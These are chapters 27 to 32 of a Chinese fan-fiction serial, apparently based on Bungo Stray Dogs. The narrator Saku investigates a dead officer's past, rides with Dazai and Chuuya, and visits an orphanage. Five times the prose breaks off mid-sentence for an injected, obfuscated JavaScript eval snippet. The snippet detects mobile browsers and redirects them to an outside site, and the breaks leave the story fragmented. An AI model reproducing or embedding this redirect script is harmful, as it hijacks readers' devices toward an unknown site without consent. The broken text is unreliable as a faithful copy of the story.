费奥多尔注视着白板,“最后——二叶亭君在犯下教堂案前,故意把这块白板留在了客厅里,只要军警上门调查……” “只要有人来调查就能一眼看见。这样他就不是真正的黑警,而是连带着把Mafia一起打击了的敬业军警。”你说,“违背合作,真坏。” 和Mafia的违法合作,能叫合作吗——Mafia才坏呢,犯下的罪行平均下来足以给每个成员枪毙千八百次。 “二叶亭彻是为什么加入军警的?”你问。 费奥多尔若有所思,“在军警里的档案里,他正式加入军警,就在龙头抗争那段时间……我可能想错了。” 你不解地看着他。 费奥多尔凝视着这面白板,“他在最开始,或许不是因为职责才去追查Mafia,而是为了追查Mafia才加入军警。” “那么,他对Mafia如此执着的原因何在呢?”你问。 费奥多尔慢慢地摇了摇头,“我有一些猜测呢……不过线索太零碎了。再调查一下吧。” 27.第二十七章 卧室深绿色的窗帘是拉开着的,夜晚浓郁的黑暗被灯光拦在窗外。 这里没有多少生活的气息……像是随住随走的酒店,十分简约。 “不如客厅。”你评价。 的确,客厅还有三只金鱼……两只。而这个地方没有任何活着的,以及像是玩偶、海报之类的东西。 你像RPG游戏主角一样翻箱倒柜—— 其实不用你翻,军警已经翻过了,柜子、箱子、抽屉几乎都被打开。还好他们没把里面的东西倒在地上,地面勉强还能算干净。 窗户旁边的墙上贴着很多照片,似乎是一些案发现场的照片。 它们就像某种阴暗的鬼影,窗帘能够随时拉上遮挡住它们,对应的,它们也能随时从窗帘中探出来,吓人一跳。 你没仔细看这些照片,你的注意力被一本放在床头柜上的笔记吸引。 这本泛黄的笔记被翻了很多遍,边都卷了起来。 你翻开第一页,发现又是一具尸体……的照片。 “你家怎么到处都是尸体,这房子真的能住活人吗?” 或许是血腥引发了精神的谵妄,你嘀咕着,对一个已消散在这个世界的幽灵说话。 当然,不会有回应。 书房的笔记中记录的是关于Mafia的犯下的大量罪行,而这本笔记里,只记录了……一起连环杀人案。 八年前的连环杀人案。 死者共十一人,有男有女,年龄不一,共同点是在雨夜的巷道中被杀害、脸颊上的皮肤被剥下一块,且都是在活着的时候被剥下。 除此之外,他们尸体所在的位置,都在垃圾桶的旁边,似乎是凶手认为他们已经失去了全部价值。 可以从尸体上以及周边残留的痕迹中,推测出整个过程—— 被害者先是被束缚住,被活剥下脸上的皮,在极致的痛苦中挣扎着,然后,被拖行到垃圾桶旁,凶手用一件疑似为匕首的利器,捅入被害者的心脏……被害者就此死亡。 一直到路人发现前,尸体都倒在地上,被留在冰凉脏污的雨水和血水混成的血泊中。 面目全非,黏腻可怖,残破得像一条被剖开又被随手丢弃的鱼……人是不能这样死去的,不能这样毫无尊严地死去,连眼睛中最后看见的影像都无比混浊、闻到的最后空气都无比腐臭……这是对生命的蔑视。 你翻动着笔记。 你的目光在一名又一名案件的资料上划过,定在了最后一名被害者身上。 “二叶亭良美,女,三十六岁……” 照片中的女人温柔地微笑着。 这是妈妈……这具身体的母亲。 二叶亭彻在单亲家庭长大,这是他唯一的亲人。 并且已经死去了。在八年前的十月十七日。 你没有再往后翻,你猜到了下一页是什么……案发现场的照片。 你的这具身体又开始出现了异样的反应。但似乎是这本笔记被翻得太多次,身体已然有了抗性,这次反应没有上次严重,你只感觉到心脏隐约传来的钝痛。 你合上了这本笔记,没有再看。 “我知道了。”你说,“教堂案中死去的宝石商人就是连环杀人案的凶手,你找到了他,然后把他杀了。” 也许就是这样,没用的二叶亭彻足足用了八年,终于找到了凶手,然后如你所说,完成了复仇……唉,和太宰治骂的完全一致,二叶亭彻是个蠢货。 这时,费奥多尔从书房那边过来,“该走了,朔君。” “费佳在书房做了什么?”你问。 他没有隐瞒,“二叶亭君的电脑连的是军警的网,我弄了个病毒侵入了进去,查了些东西。可惜被发现了,估计三分钟内猎犬就会回来。” 为了敬这位魔人君,胆小如鼠以后要改为胆大如鼠。 “查到了什么?”你将笔记放回去,一边跟着他走,一边问道。 费奥多尔的脸上露出神秘的微笑,但他没卖关子,“其他的就不多说了,说点和二叶亭君有关的——八年前,二叶亭君差点死了。但是侦探社救活了他。” “十月十七日?”你问。 或许是有些惊讶,费奥多尔看了你一眼,随后点了点头,“对。二叶亭君的十四岁生日。但是他的亲人在那天死去了,连他自己也险些被杀死。” “谁干的?”你问。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12941313|132380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “Mafia。”费奥多尔说。 你们已经走出了屋子。 寒冷的夜风吹得你浑身一哆嗦,你停下脚步,“……Mafia?” 费奥多尔示意你继续跟着他,于是你们往便利店方向走去,“军警的档案里是这么记录的。” “这不对吧。”你沉默了一会儿,说,“不是有个连环杀手吗?” “普通的连环杀手没法给二叶亭君两枪十二刀。”费奥多尔说,“枪支对于没有背后势力的人来说,很难拿到手。” “……怎么确定是Mafia?” “Mafia的先代首领在那附近。我怀疑,你的那位监护人先生也在。” “这也没法确认。”你说,“谁都可以在那附近。” “问题就在这,那地方就在离港口很近的地方,是Mafia的地盘,别的势力不敢轻易过去的。” “没有直接证据,对吧?”你说。 费奥多尔低头看了你一眼,“朔君不愿意相信的话,当然可以选择不相信。” 你冷静道,“那不是事实。如果是Mafia干的,有很多东西说不通。比如语气,笔记里的语气不是对太宰先生有深仇大恨的语气。再比如合作……” “但是二叶亭君为了追查Mafia而加入军警就可以说通了。” “不,也说不通,二叶亭彻加入军警的时间是六年前,而案子发生在八年前,中间两年他干什么去了?” 费奥多尔轻轻叹了口气,“虽然你想方设法地想证明这与Mafia无关,但是,二叶亭君作为一个没有表现出异能的人,还是个少年,加入军警是需要时间的。两年不算长……” 他说到这里,你们都停下了脚步。 因为你们都看到,在这条街道的尽头,两个人站在白色的路灯下,正遥遥注视着你们。 一位长得很高,身上缠着绷带,披着黑色的风衣,朝你微笑着。 另一位个子要矮一些,戴着一顶黑色的帽子,倚靠着路灯,脸上没什么表情。 两位你都认识。是太宰治和中原中也。 也许是因为之前的那一通电话……你的监护人来接你回家了。 28.第二十八章 你快步地跑了过去,谁都能看出,你的心情因他们的到来而愉快了不少。 太宰治摸了摸你耳边的帽子,“非常有活力和朝气,没有缺胳膊断腿呢——” 只是潜入搜查而已,当然不会缺胳膊断腿……谁会平白无故往这方面想? 旋即,他问了个正常的问题,“身体还有感到不舒服的地方吗?” “本来还有一点,但是一见到太宰先生就全好了。”你说。 “原来我还有这种效用?”太宰笑了笑,没把你的话当真,“虽然我身上有很多绷带,但我不是绷带变成的妖怪,治不了伤痛。朔君要是有难受的地方,还是直说比较好哦?” 费奥多尔没有跟着你接近太宰,而是站了一会儿,看了你们几眼后便转头离开了,他的背影逐渐融进深深的黑暗里。 这是个很看得懂气氛的俄罗斯人。 太宰眯了眯眼,只是远远朝费奥多尔投以一瞥,便继续低头看着你。 而你则十分干脆地牵住了他的手。 太宰吃了一惊,他下意识做了个把手抽回去的动作,就像猫的毛突然被夹到,下意识缩起爪子。但他用的力气不大,所以你还是抓住了他。 “太宰先生怎么亲自来接我了?” 你一边问着,从口袋里拿出了一小包之前从便利店拿来的彩色软糖,塞到了太宰治的手里。 随后,在他再次准备甩开你的手的时候,你主动松开了手,仿佛只是想给他一包软糖。 太宰有些茫然地看着莫名其妙被塞过来的软糖,他左右瞧了瞧,把软糖放到了中原中也手里。 “因为会哭的少年是应该得到关心的。”把软糖转交出去后,太宰仿佛轻松了许多。 这家伙会主动地给你糖果,但他好像不擅长被动地得到什么。 中原中也拿着软糖,迷惑地看了你们两个一眼。 他撇了撇嘴,撕开包装袋,先是抓起一把糖果,塞到你嘴里。 复合的甜味在你的口中绽开,到最后尝不出软糖各式各样的口味,只剩下甜,甜得有点过分了。 接着,他抓起一把糖果,塞到太宰嘴里——没有管这位首领先生的躲闪。 最后,他把剩下的糖果全部倒在自己嘴中,嚼着软糖,随手一抛——包装袋自己飞进了附近的垃圾桶。 真是十分方便的异能。 “你之前……没说……是来接人啊……”中也嚼着糖果,含糊地说,“我那摩托车载不下两个……” “挤一挤的话——” “挤不下。你把人类当成什么了,伸缩自如的海绵吗?”中也瞪了一眼太宰,嘟囔着,“谁知道你这次偷偷跑出来竟然不是偷懒贪玩……” “以前也不是啊。”你们往停摩托车的地方走着,太宰说,“明明是中也把我想得太差劲了。” “哦哦、原来以前半夜跑出去亲自拆炸弹是首领的工作啊?”中也说,“不知道的还以为你要抱着炸弹和世界同归于尽,最后发现世界太顽强了,只能遗憾地试着炸死自己呢。” “那是哑弹啦——”太宰辩解着。 “哑弹很安全吗?”中也问。 “比各种资料文件要有趣多了。”太宰说。 “反正我也看不懂那些文件,随便你怎么说,但是,以前跑出来果然就是贪玩嘛。”中也说着看向了你,“朔君就不会突然跑去拆什么炸弹,是不是?” 你乖巧地点点头。 “都说了是哑弹——”太宰说着也低头看向了你,“朔君带我出来的话就不会管那么多,是不是?” 你再次乖巧地点点头。 “哈?你还想让他带你出来?你们两个会被敌人一锅端了的。”中也说,“大肉包子和小肉包子,组合成的终极肉包子套餐,在外面随便晃悠的话,谁都会想来吃一下。” “或许是这样。”太宰用无谓的语气道,“所以我讨厌狗。” 夜风清清凉凉的,这时候,可能因为已经到了凌晨四点,太阳将出未出,倒没有那么冷了。 风让你感到舒适,这样的微风很容易让人神经放缓、精神松弛。 你们迎着风,走到了摩托车的旁边。 这是一辆十分酷炫的机车,操纵界面的屏幕很宽,还有能把光照到很远的大灯。但是坐两个人就已经很勉强了,几乎没可能挤下三个人。 “怎么办?” 中也看向太宰。太宰看向你。你看着两个大人。 这个点在横滨很难打到车,而且太宰身份特殊,不好乘坐组织外的交通工具。 要么如太宰所说,挤一挤,要么喊别人来接你们。 首领有专属的司机,打个电话就可以了,不过这样的话,别人就会知道某首领工作不干,也没有休息,而是悄悄让干部带自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12954892|132380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己跑了出来。 “这个时间,附近应该有成员还在工作吧?”太宰随口道,“我们过去看看,你顺便去借一辆车?” Mafia在黑夜的活动非常频繁,夜晚是一些成员真正的上班时间,现在Mafia内有人还在工作也正常。 “虽然普通成员未必明白你的身份,但他们认识我。干部突然过来……”中也说,“他们会吓一大跳的。” ”那就——”太宰想了想,仿佛要提出什么建设性意见,然而他最后说出的是:“那就让他们吓一大跳。” 说罢,他的脸上浮现出一个有点恶劣的微笑,“干部视察一下工作也很合理嘛。” “……你是首领,你说了算。”中也欲言又止。 什么魔鬼会在凌晨四点去视察工作? 虽然这里的位置稍有些偏僻,但附近还真有Mafia的产业,是一家深夜食堂。 中也最终还是没去打扰组织成员们工作,只是向人借了一辆车。 舒适度以及安全程度上,比起首领本身的车差得远,但你们在这种情况下,都不怎么在意舒适度,而有中原中也在,安全也能够得到保障。 “回Mafia?”中也问,但他已经朝事务所的方向行驶了。 你和太宰坐在后座。太宰打开了窗户,风一直灌进来,呼呼地响,吹得你们本就有些凌乱的头发更加乱糟糟的,有些发丝被风吹得贴在脸上,有些在耳边胡乱地飞舞。 你把贴在脸上的发丝撇到脑后,不过只要稍微偏偏脑袋,它们又会重新跑到前面来。 “不要。”太宰说。 “啧,真麻烦。那去哪?” “哪也不去,你沿着湾岸线开,一直开,开到日出。” “……神经病吧。”虽然这样说着,中也还是执行了首领的命令。 反正……日出也不是很遥远了。 天色本是有点朦胧的蓝紫色,渐渐转白,终于,一道暖色的光终结了夜晚,太阳慢吞吞又无比坚定地升了起来。 湾岸线就在横滨港边上,不远处的轮船与集装箱清晰可见,光洒在上面形成反射,格外耀眼。 “太宰先生,太阳出来了。” 没有回应。 你转过头,看见你的监护人斜斜地缩着,头靠在窗户那条缝隙下面,闭着眼睛,呼吸均匀,在黎明的柔光下,睡得宁静又祥和。 29.第二十九章 凉爽的黑夜逐渐变为辽阔的光明,太阳光的威能,还有太宰表现出的宁静,为你带来莫名的触动。 你感到分外舒适,精神放松到一种不可思议的程度。 就像看到一个人打哈欠,会想跟着打哈欠一般,这时,潮水般的困意往你放松下来的头脑中涌去。你没有去刻意抵挡,任由困意将你的意识带到深层的地方…… 你睡着了。 你的身体失去控制,慢慢地歪到一边去。 也许是潜意识里想接近太宰,你向太宰的方向倒了过去,如同因为发生连锁反应而倒下的多米诺骨牌一般,倚靠在他身上。 中原中也从后视镜中看着这一幕,长长地叹了口气。 …… 你醒了过来。 没有做任何梦,睡眠质量比往日都要好。 四周的景象是你所熟悉的首领休息室。 时间则是中午十二点多几分钟。 你坐起身,掀开被子,重新披上外套。 “太宰先生——”你试着叫道。 没有人回应。 你走出房门,只看见了银在整理办公桌上的资料。 你向她询问太宰在哪,但她只是温柔地告诉你首领有事在忙碌,却没有告诉你具体的位置。 给诺亚投喂新一天的水分后,你抱着诺亚回到了休息室。 你在酒柜前转悠着,可能是考虑趁你的监护人不在,给诺亚喂点酒。 这时,你看见死灵之书安静地躺在桌子上。 “这就是二叶亭彻和太宰先生做交易,得到的那本死灵之书。”你抚摸着它的封皮,打开了它。 这本抄本里面都是拉丁文,且有许多生造的词汇,翻译起来格外困难。 但这对你来说不成问题,知识在你眼中分外亲切。 你轻轻念着死灵之书上他人难以看懂的句子,词句非常拗口,但你读得十分流畅。 一种神秘与扭曲的氛围自你的身上蔓延开来,但没有人发现。 很快,在知识的媒介下,神秘的力量与未知的影响,涌入了你的身体。 这种力量足以让任何人发疯,但对你不起效用,你表现得很像一个人类……虽然是不那么正常的人类。但实际上,你在此世是如此独特。 “新的异能……‘做一个对世界有副作用的人’。”你呢喃着说出了异能名,没有说出具体的异能效果。 “还有……负面作用。”你合上了死灵之书。 这具身体终究还是人类的身体,你没有陷入疯狂,却无法抵御负面的影响。 只是,是什么样的负面作用?你的身体状态似乎还是很不错,没有哪里突然衰竭,也没有突如其来的伤口。 至少在目前,“负面影响”还没有出现。 你紧紧地抱着诺亚。 再走出门时,发现立原站在门口,他继续作为你的护卫,跟在你身边。 “立原君。”你说,“你认识二叶亭彻吗?” “最近才知道他。”立原说。 “如果我要查二叶亭彻的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12976272|132380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过往,我应该怎么做?” “他的档案应该被军警封存着……首领说不定有能力弄到手。” “如果我要查太宰先生的过往呢?”你问。 立原吃惊地看着你,“谁能查到这个?” 他的真实意思是——谁敢去查这个? “侦探社。”你说。 你说的没错,也许是时候去问问无所不知的名侦探了。 “等等……朔君,那是敌人。”立原连忙道,“去敌人那里查首领,未免太……” 他不赞同地看着你,见你一声不吭地按下电梯楼层,一副又要出门离开事务所的模样,立原没有强行拉住你的权力,发愁地跟在你身后。 “朔君……首领说,最近外面有很多人盯着你……” “我了解。”你说。 “首领还说,朔君有空的话,可以去干部那里接受培训……所以,要不还是留在事务所里吧?” “哪位干部?” “组织里目前有四位干部,分别是负责组织内武斗派事宜与审讯任务的尾崎红叶女士、负责海外走私与各组织间黑色交易的中原中也先生、负责港口事务所对外贸易的Ace先生、以及最后一位也是最神秘的,负责Mafia年轻一代武斗与暗杀训练的魏尔伦先生。” 立原介绍完后道,“首领希望你先去魏尔伦先生那里提升自保的能力。” 他见你无动于衷,又道,“如果朔君真的对首领感到好奇的话……几位干部想必也是对首领了解得最多的人。” 30.第三十章 “还有一位对首领十分了解的人。”你冷静地说。 电梯玻璃外面下着雨,雨势不算大,但也没有小到可以忽略的地步。雨珠被遮挡物挡住了,没能贴到电梯玻璃上。 你们在电梯中,电梯在雨中下行。 立原困惑地看着你。他想不出。 “森先生。”你揭示答案,“太宰先生是我的监护人,而森先生是太宰先生的监护人。他了解首领,了解在过去的我不曾出现的漫长岁月中,太宰先生所经历的事情……” 在你吐出那个姓氏的时候,立原的表情就变得十分错愕,你越多说出一个词,他的表情就越惊诧,到最后,他脸上的神色就像听到了一件极端匪夷所思、极端不可思议的事。 “朔君……”立原说,“你说的那位,早已亡故了。” “你怎么知道?”你问。 “谁都知道。”立原顿了顿,“大家都这么说。” “他是怎么死的?”你问。 立原不说话,他默不作声地看着你,有些事不需要说,但所有人都心知肚明。 电梯中沉寂了好一段时间,直到你们从最顶层来到第一层,走出了电梯,立原才慢慢地、小声地说,“太宰先生是个好首领。” “他当然是。”你说,“我来这里的几天,从没见太宰先生有好好地吃一顿饭或者睡一觉,更没见过横滨哪个组织的首领会忙碌成这样。” 你站在门口的房檐下,大门两边的守卫向你投以注目礼。 立原走到事务所的前台那里拿了一把黑伞,随后快步跑到你旁边,把伞撑开。 雨水顺着黑色的伞面流下,滴成不连贯的透明线。 皮靴踩在台阶上,发出响亮的声音。细小的水花溅起来,小小的水珠在你的黑色靴子上晶莹剔透。 你走下了台阶,似乎要往商业街方向走——不管去哪,总是要先吃点东西,而这次你不打算在食堂吃饭。 突然之间,你停下脚步。 一道漆黑的、沉重的、恐怖的影子,从天上坠落了下来,直直地掉在你面前。 沉闷的黑影击中了你的灵魂,你睁大了眼睛,心脏剧烈地跳动着。 翻开死灵之书造成的某种影响出现了,这种影响疯狂地杀戮着你的理智。 “……朔君?”好像来自很远的地方的立原的声音。 你紧紧地抱着诺亚……如果它不是花盆而是别的什么活着的东西,肯定会在这样的力度下挣扎着跳出去,好在,它是个花盆,永远乖巧、永远死寂的花盆。 在你的眼前,你所注视之处,黑色的布料紧紧贴在地上,雨水噼里啪啦地砸下。 你知道,那种装满了水的塑料水球从高空中掉下来,瞬间破裂,塑料袋也是这样紧紧黏在地面上的,但你眼前这个,显然不是什么从高空中掉下的水球。 血水安静地向外渗着,不慌不忙地淌了一地。 猩红的地板……你后退了一步……血溅到你的鞋子上了。 你的喉咙动了动,发出近似于鲫鱼在濒死前吐出最后一个泡泡的微弱声音。 那是什么呢?那恐怖的黑色与血色里包裹着的是什么呢?你不去看,你不想听到任何描述……虽然他对你而言还没有亲切到那种地步,但是…… ……好了,不要看了,亲爱的、可怜的朔……逃吧、远远地跑开吧、在这世上最严肃的东西之前,闭上眼睛并不可耻。 你又后退了一步,这一步让你退出了立原所撑着的伞的范围,雨冷漠地浇了你一身。 你全身一个激灵,地上的景象瞬间消失了,没有贴在地上的“黑色塑料袋”,没有血,没有惨白碎裂的肢体和脸,只有雨水、透明的雨水,和雨水形成的水泊。 你醒了过来,骤然明悟。 刚才那景象不是真的——那只是一种可怕的幻象,一种视觉的异常。 你大口呼吸着……你活了过来。 立原茫然又担心地将伞全部撑到你的头顶,他自己的夹克没有被伞完全遮到,但他顾不上这些。 “怎么回事?”他问。 在他眼睛的倒影中,你的脸色苍白得不像话。 “是冷吗?还是生病了?”立原看了看湿哒哒但并无异常的地面,又看了看你。 你转过身,往回走。 立原对你的行为摸不着头脑,他茫然地跟在你后面。 太宰让他保护好你,从立原的表情来看,他觉得自己搞砸了,问题是他丝毫不知道他是怎么搞砸的……他只是跟着你出了一趟事务所,而天空也只是下了一场昨晚就有征兆、在早晨被太阳短暂地阻隔,但最终仍然降下的雨而已。 你在一楼的沙发上,抱着诺亚沉默地坐了一会儿。 诺亚安静地陪伴着你。 真正平静下来后,你发消息给了小银。 【银小姐,我想要太宰朔的资料。】 小银让你稍等 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|12984412|132380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一下,但过了很长的时间,她才把“太宰朔”的资料发给你。 在涉及到你的事项上,她可能去问了太宰。 你点开她发过来的文档。 太宰朔的资料就是明面上对特务科等官方组织展示的信息,也难为太宰治在短时间内把一个假身份编造得如此完善。 在资料中,太宰朔的双亲在战争中死去,此后就一直待在鹤见区孤儿院,太宰查到你与他有一层远亲的关系,与孤儿院协议转移了你的监护权,领走了你,并为你更改了名字为“太宰朔”。 横滨因战争而出现的孤儿太多了,像资料中这份,前面都很正常,唯独被太宰查到有远亲关系这段,显得你十分幸运。 你站起身,朝电梯走,按下地下车库的楼层。 立原连忙跟上,“去哪?” “鹤见区孤儿院。”你说。 立原把一辆车的车门拉开,让你先坐了进去。 他有些不解,虽然他今天已经有了许多困惑,且都没有得到你的解答,但他还是问道,“去那里做什么?” “鹤见区孤儿院和Mafia有一定的关系,否则,太宰先生在为我编造身份的时候,不会选这个孤儿院。”你说,“我去看看,熟悉一下那里,假如以后有人问起我在孤儿院的生活,也好应对。” 立原不再怀疑,他将车驶出事务所。雨刷在车玻璃上扫出扇面。 这时,你又道,“立原,你是不是还记着先代首领?” 立原沉默了一会儿,说,“我是那位带进组织里来的……他也是个好首领。” “组织里记着先代首领的人多吗?” “前几年是很多的,他们因为这个而对太宰先生心生不满、有怨怼。” 立原叹了口气,“据说红叶姐原本与太宰先生的关系很好,但就是因为首领的更迭,他们之间关系变得很僵硬,即使现在也没缓和过来。” “至于现在……”立原说,“现在大家都觉得,如今的首领也是个好首领,只是偶尔会怀念一下以前的首领,不会想着去暗杀现在的首领给先代报仇了……啊,也可能是因为,这样想并真正实施的人都死了。” “组织里竟然会有人因为先代首领而去刺杀太宰先生?”你问。 “怎么会没有呢,最开始的时候非常多,毕竟是先代带领Mafia走出最艰难、最血腥的那段时候的,大家都记得的呢。”立原说,“可是逝者不能复生。” 31.第三十一章 雨越下越大。 午间时分,街上的车辆与行人都不少,你们行驶的速度十分缓慢,立原皱了皱眉,他盯着路对面的红灯。 你坐在副驾驶座上,从侧面的车窗看着商店。 即使是白天,许多商店依然亮着灯,灯光经雨丝折射到了你的眼睛里。 刚才那一遭,让你失去了本就不多的食欲。 立原从车里拿了一袋面包给你,但你把面包放在了一边,最终还是没吃任何东西。 车辆时不时就会因为红绿灯停下。你会在身体因为停车时的惯性朝前倾的时候,轻柔地抚摸着诺亚,就像抚摸一只猫。 “立原。”路过一处警署的时候,你忽然开口道,“昨天晚上,猎犬里受伤了几个人?” “……什么。”立原脸上的表情空白了一瞬,恰到好处的茫然——从神情上看,他不知道你在说什么。 只不过他握着方向盘的手突然紧了许多,不像在开车,反而像抓住马匹的缰绳,也许是他害怕这车辆失控,他的手指关节泛着白色。 “猎犬?”他目不斜视,注视着前方的道路,“军警那个精锐队伍?” 你轻轻“嗯”了一声表示肯定。 “我不清楚,猎犬和我没什么关系……那太远了,我不是负责打听军警那边消息的成员,我哪擅长这个呀……哈哈,我只会战斗。”他干笑了一声,“首领说了,我现在只负责你的安全。朔君对猎犬好奇的话,去问小银大概会比较好吧?她什么都知道。” “但是我还是觉得,问猎犬本身的成员应该会更清楚一点。”你有一下没一下地轻轻揉捏着诺亚的花盆边,闲谈似地说道。 “……”一个刹车,你们停在了路边,不过立原也是遵守规则的类型,像中原中也会把垃圾扔进垃圾桶,立原把车停在了车位上。 立原转过头来,盯着你。 他的眼神发生了变化。 一直以来,他给人的第一感觉都是阳光、直爽、有时甚至会像稍有些莽撞的愣头青,一种比较典型的青年Mafia性格,而现在,他的眼神变得冷静而锐利,他抿着嘴巴,沉默地等着你说后续的话……就像等待着某个宣判。 然而你只是疑惑地问,“为什么停下了?继续开。” 立原有点无措地看着你,随后,他很听话地继续行驶,也许他自己也不知道自己为什么会这样听话。 “您对我有误会。”立原说。他谨慎地用上了敬语。 “没有误会哦。立原君是猎犬的成员,是这样吧?”你说。 “当然不是,我不可能背弃Mafia。”立原脸上充满了不悦,“谁和您这样说的?” “二叶亭彻的日记里有这样的内容。” 你撒谎了,这年头,哪个好人会写日记啊? 但立原信以为真,他握着方向盘的手更紧了,“这也不能说明什么……” 他的声音越来越小,看了你一眼后,他就把头转过去,直勾勾地盯着眼前的马路,好像这样就能逃避掉什么。 你用一个轻巧的谎言,给一位朴实的青年带来了多大的压力呀! 你几乎能听见他快得要跳出胸膛的心跳。 “立原不会想杀掉我灭口的,对吧?”你说,“毕竟立原是善良的好军警。” 他不说话,他专心地握着方向盘,开着车,这个方向盘和这条道路仿佛在此刻成为了他的一切。 而假如你们抵达终点,他的一切也就迎来了毁灭……可怕的毁灭!你所说的话,就是有这样翻天覆地的力量。 “有时我真的觉得您像首领一样。”你一直盯着他,于是他只能不自在地开口。 但他依然没有承认任何东西。 “不管是你开枪的眼神还是你所说的话……我不明白。别说了,我不明白你的意思,朔先生,不是你说的那样。” “你是我的部下。”你低头看着诺亚,“立原,不必担心,你是我的部下。” 怎么可能不担心呢?立原道造甚至不敢再将目光转向你。 你给他带来了强烈的不安,这可以从他不停摩挲着方向盘内侧的拇指看出来,他的内心绝没有他的表情那样冷静。 你真的吓到他了。 沉默充斥着车的内部。 鹤见区孤儿院在一处偏僻的地方,离河流很接近。 慢慢的,周围的场景变成了工厂与仓库,再行驶了一会儿,周围的景象便成了葱郁的草丛与树木,只有零星几座建筑点缀在这片寂寥的土地。 你们驶 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13003525|132380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出了水泥路,在碎石子路上沿着车辙前进。 鹤见区孤儿院外围的黑色栅栏上,缠绕着牵牛花的茎条,蓝紫色的花朵在越发猛烈的大雨中有些萎靡。而在孤儿院的里面,靠近院墙的地方,种着大片的蔷薇花丛,但是现在不是蔷薇花开花的季节,只能看见一片深翠的绿。 大门紧闭着。 立原停下车,他看了你一眼,发现你没有下车的意思,默然半晌,撑起伞,走到靠近你的车窗那边,为你打开了车门。 你抱着诺亚,在立原为你撑起的黑伞下,走向门卫室。 门卫室里只有一个工作人员,是个看上去非常魁梧的男人。他没穿制服,而是穿着皮夹克,头发乱糟糟的,手里拿着一支烟,烟头上的赤红火光忽明忽暗,在光线暗淡的雨天中格外显眼。 你礼貌地敲了敲窗户。 门卫抬起眼皮瞥了你一眼,吐出一口烟圈,把窗户打开了。但他什么话也没说,伸出拿着烟的手,向下指了指,顺便弹了弹烟灰。 你顺着他指的方向朝下看,门卫室的外墙上贴着一块褪色的红底牌子:闲人免进。 “我找院长。”你说。 “预约了再来。”门卫低头看了看桌上的一个小本子,说。 “这地方还得预约?” “我们这儿不是什么阿猫阿狗能随便进的,你这样的小鬼……”门卫耸了耸肩,用手指随意地把烟掐灭,“自然也不行。” “我原本是这里的孩子,现在只是回来了而已,为什么不行?”你说。 门卫本来懒懒地倚靠在椅子上,现在听你这话,坐得直了些,他看了看你身后的立原,又看了看你,眯起眼睛,“这倒是稀奇了。你回来也是来杀院长的?” 这句话把心不在焉的立原都说愣了,立原的脸上充满了不理解。 你则没什么特别的表情,只是依然抱着诺亚。 “呵呵……院长大人没空。”门卫摆了摆手,“既然都走了,还回来做什么?快滚。” “‘也是来杀院长的’是什么意思?”你问。 “小鬼头的问题就是多——”门卫不耐地把烟头丢在你的面前,准备关上窗户,“你当你是警察吗,想进就进、想问就问?没预约就是不能进,懂不懂?” 32.第三十二章 你后退了几步,立原撑着伞寸步不离。 你偏过头朝大门看去,从大门的栏杆缝隙里,能看见里面的院子铺着石子路,石子路两侧是没怎么修剪的草坪,再远一点的地方是房屋。 最显眼的是一个像教堂一样的高的主建筑,两边则是宿舍一般的楼房,但外墙十分老旧。 由于是雨天,而且看不见里面的人,整体氛围阴阴的。风一吹过,建筑旁边大树的树叶子摇晃起来,整个孤儿院就像是某种古老且拥有灵异传说的宅邸,很容易让人打哆嗦。 你轻轻吸了一口气,旋即张开了嘴,喊道—— “森先生开门——我是太宰——!” 